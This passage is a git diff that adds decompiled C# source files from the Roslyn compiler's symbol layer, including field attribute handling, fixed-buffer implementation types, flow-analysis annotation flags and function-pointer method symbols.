bindingDiagnosticBag.Add(ErrorCode.ERR_FieldHasMultipleDistinctConstantValues, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + else + { + bindingDiagnosticBag.Add(ErrorCode.ERR_FieldHasMultipleDistinctConstantValues, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + if (((CommonFieldWellKnownAttributeData)orCreateData).ConstValue == ConstantValue.Unset) + { + ((CommonFieldWellKnownAttributeData)orCreateData).ConstValue = attrValue; + } + return; + } + constantValue = ((CommonFieldWellKnownAttributeData)orCreateData).ConstValue; + if (constantValue != ConstantValue.Unset) + { + if (constantValue != attrValue) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_FieldHasMultipleDistinctConstantValues, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + else + { + ((CommonFieldWellKnownAttributeData)orCreateData).ConstValue = attrValue; + } + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + FieldWellKnownAttributeData fieldWellKnownAttributeData = (FieldWellKnownAttributeData)(object)decodedData; + TypeLayout layout; + if (((fieldWellKnownAttributeData != null) ? ((CommonFieldWellKnownAttributeData)fieldWellKnownAttributeData).Offset : ((int?)null)).HasValue) + { + layout = ContainingType.Layout; + if (((TypeLayout)(ref layout)).Kind != LayoutKind.Explicit) + { + int index = boundAttributes.IndexOfAttribute(this, AttributeDescription.FieldOffsetAttribute); + diagnostics.Add(ErrorCode.ERR_StructOffsetOnBadStruct, ((SyntaxNode)allAttributeSyntaxNodes[index].Name).Location); + } + } + else if (!IsStatic && !IsConst) + { + layout = ContainingType.Layout; + if (((TypeLayout)(ref layout)).Kind == LayoutKind.Explicit) + { + diagnostics.Add(ErrorCode.ERR_MissingStructOffset, ErrorLocation, AttributeOwner); + } + } + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if ((int)RefKind == 3) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + TypeWithAnnotations typeWithAnnotations = base.TypeWithAnnotations; + if (typeWithAnnotations.Type.ContainsDynamic()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(typeWithAnnotations.Type, typeWithAnnotations.CustomModifiers.Length, (RefKind)0)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(typeWithAnnotations.Type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, typeWithAnnotations.Type)); + } + if (typeWithAnnotations.Type.ContainsTupleNames()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(typeWithAnnotations.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, ContainingType.GetNullableContextValue(), typeWithAnnotations)); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldWellKnownAttributeData.cs new file mode 100644 index 0000000..c45311b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldWellKnownAttributeData.cs @@ -0,0 +1,74 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class FieldWellKnownAttributeData : CommonFieldWellKnownAttributeData +{ + private bool _hasAllowNullAttribute; + + private bool _hasDisallowNullAttribute; + + private bool _hasMaybeNullAttribute; + + private bool? _maybeNullWhenAttribute; + + private bool _hasNotNullAttribute; + + public bool HasAllowNullAttribute + { + get + { + return _hasAllowNullAttribute; + } + set + { + _hasAllowNullAttribute = value; + } + } + + public bool HasDisallowNullAttribute + { + get + { + return _hasDisallowNullAttribute; + } + set + { + _hasDisallowNullAttribute = value; + } + } + + public bool HasMaybeNullAttribute + { + get + { + return _hasMaybeNullAttribute; + } + set + { + _hasMaybeNullAttribute = value; + } + } + + public bool? MaybeNullWhenAttribute + { + get + { + return _maybeNullWhenAttribute; + } + set + { + _maybeNullWhenAttribute = value; + } + } + + public bool HasNotNullAttribute + { + get + { + return _hasNotNullAttribute; + } + set + { + _hasNotNullAttribute = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FixedFieldImplementationType.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FixedFieldImplementationType.cs new file mode 100644 index 0000000..f6f73c8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FixedFieldImplementationType.cs @@ -0,0 +1,97 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class FixedFieldImplementationType : SynthesizedContainer +{ + internal const string FixedElementFieldName = "FixedElementField"; + + private readonly SourceMemberFieldSymbol _field; + + private readonly MethodSymbol _constructor; + + private readonly FieldSymbol _internalField; + + public override Symbol ContainingSymbol => _field.ContainingType; + + public override TypeKind TypeKind => (TypeKind)10; + + internal override MethodSymbol Constructor => _constructor; + + internal override TypeLayout Layout + { + get + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + int fixedSize = _field.FixedSize; + int num = ((PointerTypeSymbol)_field.Type).PointedAtType.FixedBufferElementSizeInBytes(); + int num2 = fixedSize * num; + return new TypeLayout(LayoutKind.Sequential, num2, (byte)0); + } + } + + internal override CharSet MarshallingCharSet => _field.ContainingType.MarshallingCharSet; + + internal override FieldSymbol FixedElementField => _internalField; + + public override IEnumerable MemberNames => SpecializedCollections.SingletonEnumerable("FixedElementField"); + + public override Accessibility DeclaredAccessibility => (Accessibility)6; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => ContainingAssembly.GetSpecialType((SpecialType)5); + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceFixedFieldSymbol.cs", 240); + } + } + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + public FixedFieldImplementationType(SourceMemberFieldSymbol field) + : base(GeneratedNames.MakeFixedFieldImplementationName(field.Name), ImmutableArray.Empty, TypeMap.Empty) + { + _field = field; + _constructor = new SynthesizedInstanceConstructor(this); + _internalField = new SynthesizedFieldSymbol(this, ((PointerTypeSymbol)field.Type).PointedAtType, "FixedElementField", isPublic: true); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = ContainingSymbol.DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)117)); + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Create((Symbol)_constructor, (Symbol)_internalField); + } + + public override ImmutableArray GetMembers(string name) + { + if (!(name == _constructor.Name)) + { + if (!(name == "FixedElementField")) + { + return ImmutableArray.Empty; + } + return ImmutableArray.Create((Symbol)_internalField); + } + return ImmutableArray.Create((Symbol)_constructor); + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FlowAnalysisAnnotations.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FlowAnalysisAnnotations.cs new file mode 100644 index 0000000..0e37c43 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FlowAnalysisAnnotations.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[Flags] +internal enum FlowAnalysisAnnotations +{ + None = 0, + AllowNull = 1, + DisallowNull = 2, + MaybeNullWhenTrue = 4, + MaybeNullWhenFalse = 8, + MaybeNull = 0xC, + NotNullWhenTrue = 0x10, + NotNullWhenFalse = 0x20, + NotNull = 0x30, + DoesNotReturnIfFalse = 0x40, + DoesNotReturnIfTrue = 0x80, + DoesNotReturn = 0xC0 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerMethodSymbol.cs new file mode 100644 index 0000000..87c8046 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerMethodSymbol.cs @@ -0,0 +1,954 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class FunctionPointerMethodSymbol : MethodSymbol +{ + private readonly ImmutableArray _parameters; + + private ImmutableHashSet? _lazyCallingConventionModifiers; + + internal override ImmutableArray UnmanagedCallingConventionTypes + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (!CallingConventionUtils.IsCallingConvention(CallingConvention, (CallingConvention)9)) + { + return ImmutableArray.Empty; + } + ImmutableArray immutableArray = (((int)RefKind != 0) ? RefCustomModifiers : ReturnTypeWithAnnotations.CustomModifiers); + if (immutableArray.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(immutableArray.Length); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpCustomModifier cSharpCustomModifier = (CSharpCustomModifier)(object)enumerator.Current; + if (FunctionPointerTypeSymbol.IsCallingConventionModifier(cSharpCustomModifier.ModifierSymbol)) + { + instance.Add(cSharpCustomModifier.ModifierSymbol); + } + } + return instance.ToImmutableAndFree(); + } + } + + internal override CallingConvention CallingConvention { get; } + + internal override bool UseUpdatedEscapeRules { get; } + + public override bool ReturnsVoid => ReturnTypeWithAnnotations.IsVoidType(); + + public override RefKind RefKind { get; } + + public override TypeWithAnnotations ReturnTypeWithAnnotations { get; } + + public override ImmutableArray Parameters => ImmutableArrayExtensions.Cast(_parameters); + + public override ImmutableArray RefCustomModifiers { get; } + + public override MethodKind MethodKind => (MethodKind)18; + + public override bool IsVararg => CallingConventionUtils.IsCallingConvention(CallingConvention, (CallingConvention)5); + + public override Symbol? ContainingSymbol => null; + + public override int Arity => 0; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override bool IsExtensionMethod => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsAsync => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override Symbol? AssociatedSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override bool IsStatic => false; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + public override bool IsImplicitlyDeclared => true; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + internal override bool HasSpecialName => false; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool HasDeclarativeSecurity => false; + + internal override MarshalPseudoCustomAttributeData? ReturnValueMarshallingInformation => null; + + internal override bool RequiresSecurityObject => false; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override bool GenerateDebugInfo + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 852); + } + } + + internal override ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 853); + } + } + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 855); + } + } + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 860); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + public static FunctionPointerMethodSymbol CreateFromSource(FunctionPointerTypeSyntax syntax, Binder typeBinder, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_01cf: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_01ea: Unknown result type (might be due to invalid IL or missing references) + //IL_01eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CallingConvention callingConvention = getCallingConvention(typeBinder.Compilation, syntax.CallingConvention, instance, diagnostics); + RefKind val = (RefKind)0; + TypeWithAnnotations typeWithAnnotations; + if (syntax.ParameterList.Parameters.Count == 0) + { + typeWithAnnotations = TypeWithAnnotations.Create(typeBinder.CreateErrorType()); + } + else + { + SeparatedSyntaxList parameters = syntax.ParameterList.Parameters; + FunctionPointerParameterSyntax functionPointerParameterSyntax = parameters[parameters.Count - 1]; + SyntaxTokenList modifiers = functionPointerParameterSyntax.Modifiers; + for (int i = 0; i < ((SyntaxTokenList)(ref modifiers)).Count; i++) + { + SyntaxToken token = ((SyntaxTokenList)(ref modifiers))[i]; + if (token.Kind() == SyntaxKind.RefKeyword) + { + if ((int)val == 0) + { + if (((SyntaxTokenList)(ref modifiers)).Count > i + 1 && ((SyntaxTokenList)(ref modifiers))[i + 1].Kind() == SyntaxKind.ReadOnlyKeyword) + { + i++; + val = (RefKind)3; + instance.AddRange(ParameterHelpers.CreateInModifiers(typeBinder, diagnostics, (SyntaxNode)(object)functionPointerParameterSyntax)); + } + else + { + val = (RefKind)1; + } + } + else + { + diagnostics.Add(ErrorCode.ERR_DupReturnTypeMod, ((SyntaxToken)(ref token)).GetLocation(), ((SyntaxToken)(ref token)).Text); + } + } + else + { + diagnostics.Add(ErrorCode.ERR_InvalidFuncPointerReturnTypeModifier, ((SyntaxToken)(ref token)).GetLocation(), ((SyntaxToken)(ref token)).Text); + } + } + typeWithAnnotations = typeBinder.BindType(functionPointerParameterSyntax.Type, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics); + if (typeWithAnnotations.IsVoidType() && (int)val != 0) + { + diagnostics.Add(ErrorCode.ERR_NoVoidHere, ((SyntaxNode)functionPointerParameterSyntax).Location); + } + else if (typeWithAnnotations.IsStatic) + { + diagnostics.Add(ErrorFacts.GetStaticClassReturnCode(useWarning: false), ((SyntaxNode)functionPointerParameterSyntax).Location, typeWithAnnotations); + } + else if (typeWithAnnotations.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + diagnostics.Add(ErrorCode.ERR_MethodReturnCantBeRefAny, ((SyntaxNode)functionPointerParameterSyntax).Location, typeWithAnnotations); + } + } + ImmutableArray refCustomModifiers = ImmutableArray.Empty; + if ((int)val != 0) + { + refCustomModifiers = instance.ToImmutableAndFree(); + } + else + { + typeWithAnnotations = typeWithAnnotations.WithModifiers(instance.ToImmutableAndFree()); + } + return new FunctionPointerMethodSymbol(callingConvention, val, typeWithAnnotations, refCustomModifiers, syntax, typeBinder, diagnostics, suppressUseSiteDiagnostics, typeBinder.UseUpdatedEscapeRules); + static void checkUnmanagedSupport(CSharpCompilation compilation, Location errorLocation, BindingDiagnosticBag bindingDiagnosticBag) + { + if (!compilation.Assembly.RuntimeSupportsUnmanagedSignatureCallingConvention) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_RuntimeDoesNotSupportUnmanagedDefaultCallConv, errorLocation); + } + } + static CallingConvention getCallingConvention(CSharpCompilation compilation, FunctionPointerCallingConventionSyntax? callingConventionSyntax, ArrayBuilder customModifiers, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + //IL_016c: Unknown result type (might be due to invalid IL or missing references) + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind? syntaxKind = callingConventionSyntax?.ManagedOrUnmanagedKeyword.Kind(); + switch (syntaxKind) + { + case null: + return (CallingConvention)0; + case SyntaxKind.ManagedKeyword: + if (callingConventionSyntax.UnmanagedCallingConventionList != null && !((SyntaxNode)callingConventionSyntax).ContainsDiagnostics) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CannotSpecifyManagedWithUnmanagedSpecifiers, callingConventionSyntax.UnmanagedCallingConventionList.GetLocation()); + } + return (CallingConvention)0; + case SyntaxKind.UnmanagedKeyword: + { + FunctionPointerUnmanagedCallingConventionListSyntax unmanagedCallingConventionList = callingConventionSyntax.UnmanagedCallingConventionList; + SyntaxToken val3; + if (unmanagedCallingConventionList != null) + { + SeparatedSyntaxList callingConventions = unmanagedCallingConventionList.CallingConventions; + switch (callingConventions.Count) + { + case 1: + val3 = callingConventions[0].Name; + return (CallingConvention)(((SyntaxToken)(ref val3)).ValueText switch + { + "Cdecl" => 1, + "Stdcall" => 2, + "Thiscall" => 3, + "Fastcall" => 4, + _ => handleSingleConvention(callingConventions[0], compilation, customModifiers, bindingDiagnosticBag), + }); + case 0: + if (!((SyntaxNode)unmanagedCallingConventionList).ContainsDiagnostics) + { + val3 = unmanagedCallingConventionList.OpenBracketToken; + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidFunctionPointerCallingConvention, ((SyntaxToken)(ref val3)).GetLocation(), ""); + } + return (CallingConvention)0; + default: + { + SeparatedSyntaxList val2 = callingConventions; + val3 = callingConventionSyntax.ManagedOrUnmanagedKeyword; + checkUnmanagedSupport(compilation, ((SyntaxToken)(ref val3)).GetLocation(), bindingDiagnosticBag); + Enumerator enumerator = val2.GetEnumerator(); + while (enumerator.MoveNext()) + { + CustomModifier val4 = handleIndividualUnrecognizedSpecifier(enumerator.Current, compilation, bindingDiagnosticBag); + if (val4 != null) + { + customModifiers.Add(val4); + } + } + return (CallingConvention)9; + } + } + } + val3 = callingConventionSyntax.ManagedOrUnmanagedKeyword; + checkUnmanagedSupport(compilation, ((SyntaxToken)(ref val3)).GetLocation(), bindingDiagnosticBag); + return (CallingConvention)9; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)syntaxKind); + } + } + static CustomModifier? handleIndividualUnrecognizedSpecifier(FunctionPointerUnmanagedCallingConventionSyntax specifier, CSharpCompilation compilation, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken name = specifier.Name; + string valueText = ((SyntaxToken)(ref name)).ValueText; + if (string.IsNullOrEmpty(valueText)) + { + return null; + } + string text = "CallConv" + valueText; + MetadataTypeName emittedName = MetadataTypeName.FromNamespaceAndTypeName("System.Runtime.CompilerServices", text, true, 0); + NamedTypeSymbol namedTypeSymbol = compilation.Assembly.CorLibrary.LookupDeclaredTopLevelMetadataType(ref emittedName); + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = new MissingMetadataTypeSymbol.TopLevel(compilation.Assembly.CorLibrary.Modules[0], ref emittedName, (DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_TypeNotFound, text)); + } + else if ((int)namedTypeSymbol.DeclaredAccessibility != 6) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_TypeMustBePublic, specifier.GetLocation(), namedTypeSymbol); + } + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(namedTypeSymbol.GetUseSiteInfo(), (SyntaxNode)(object)specifier); + return CSharpCustomModifier.CreateOptional(namedTypeSymbol); + } + static CallingConvention handleSingleConvention(FunctionPointerUnmanagedCallingConventionSyntax specifier, CSharpCompilation compilation, ArrayBuilder customModifiers, BindingDiagnosticBag diagnostics2) + { + checkUnmanagedSupport(compilation, specifier.GetLocation(), diagnostics2); + CustomModifier val2 = handleIndividualUnrecognizedSpecifier(specifier, compilation, diagnostics2); + if (val2 != null) + { + customModifiers.Add(val2); + } + return (CallingConvention)9; + } + } + + internal static FunctionPointerMethodSymbol CreateFromPartsForTest(CallingConvention callingConvention, TypeWithAnnotations returnType, ImmutableArray refCustomModifiers, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray> parameterRefCustomModifiers, ImmutableArray parameterRefKinds, CSharpCompilation compilation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new FunctionPointerMethodSymbol(callingConvention, returnRefKind, returnType, refCustomModifiers, parameterTypes, parameterRefCustomModifiers, parameterRefKinds, compilation); + } + + internal static FunctionPointerMethodSymbol CreateFromParts(CallingConvention callingConvention, ImmutableArray callingConventionModifiers, TypeWithAnnotations returnTypeWithAnnotations, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, CSharpCompilation compilation) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!callingConventionModifiers.IsDefaultOrEmpty) + { + instance.AddRange(callingConventionModifiers); + } + ImmutableArray refCustomModifiers; + if ((int)returnRefKind == 0) + { + refCustomModifiers = ImmutableArray.Empty; + returnTypeWithAnnotations = returnTypeWithAnnotations.WithModifiers(instance.ToImmutableAndFree()); + } + else + { + CustomModifier customModifierForRefKind = GetCustomModifierForRefKind(returnRefKind, compilation); + if (customModifierForRefKind != null) + { + instance.Add(customModifierForRefKind); + } + refCustomModifiers = instance.ToImmutableAndFree(); + } + return new FunctionPointerMethodSymbol(callingConvention, returnRefKind, returnTypeWithAnnotations, refCustomModifiers, parameterTypes, default(ImmutableArray>), parameterRefKinds, compilation); + } + + private static CustomModifier? GetCustomModifierForRefKind(RefKind refKind, CSharpCompilation compilation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = (((int)refKind == 2) ? compilation.GetWellKnownType((WellKnownType)305) : (((int)refKind != 3) ? null : compilation.GetWellKnownType((WellKnownType)273))); + NamedTypeSymbol namedTypeSymbol2 = namedTypeSymbol; + if ((object)namedTypeSymbol2 == null) + { + return null; + } + return CSharpCustomModifier.CreateRequired(namedTypeSymbol2); + } + + public static FunctionPointerMethodSymbol CreateFromMetadata(ModuleSymbol containingModule, CallingConvention callingConvention, ImmutableArray> retAndParamTypes) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new FunctionPointerMethodSymbol(callingConvention, retAndParamTypes, containingModule.UseUpdatedEscapeRules); + } + + public FunctionPointerMethodSymbol SubstituteParameterSymbols(TypeWithAnnotations substitutedReturnType, ImmutableArray substitutedParameterTypes, ImmutableArray refCustomModifiers = default(ImmutableArray), ImmutableArray> paramRefCustomModifiers = default(ImmutableArray>)) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new FunctionPointerMethodSymbol(CallingConvention, RefKind, substitutedReturnType, refCustomModifiers.IsDefault ? RefCustomModifiers : refCustomModifiers, Parameters, substitutedParameterTypes, paramRefCustomModifiers, UseUpdatedEscapeRules); + } + + internal FunctionPointerMethodSymbol MergeEquivalentTypes(FunctionPointerMethodSymbol signature, VarianceKind variance) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Invalid comparison between Unknown and I4 + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Invalid comparison between Unknown and I4 + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + VarianceKind variance2 = (VarianceKind)(((int)RefKind == 0) ? ((int)variance) : 0); + TypeWithAnnotations substitutedReturnType = ReturnTypeWithAnnotations.MergeEquivalentTypes(signature.ReturnTypeWithAnnotations, variance2); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + bool flag = false; + if (_parameters.Length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(_parameters.Length); + for (int num = 0; num < _parameters.Length; num++) + { + FunctionPointerParameterSymbol functionPointerParameterSymbol = _parameters[num]; + FunctionPointerParameterSymbol functionPointerParameterSymbol2 = signature._parameters[num]; + RefKind refKind = functionPointerParameterSymbol.RefKind; + VarianceKind val; + if ((int)variance != 1) + { + if ((int)variance != 2 || (int)refKind != 0) + { + goto 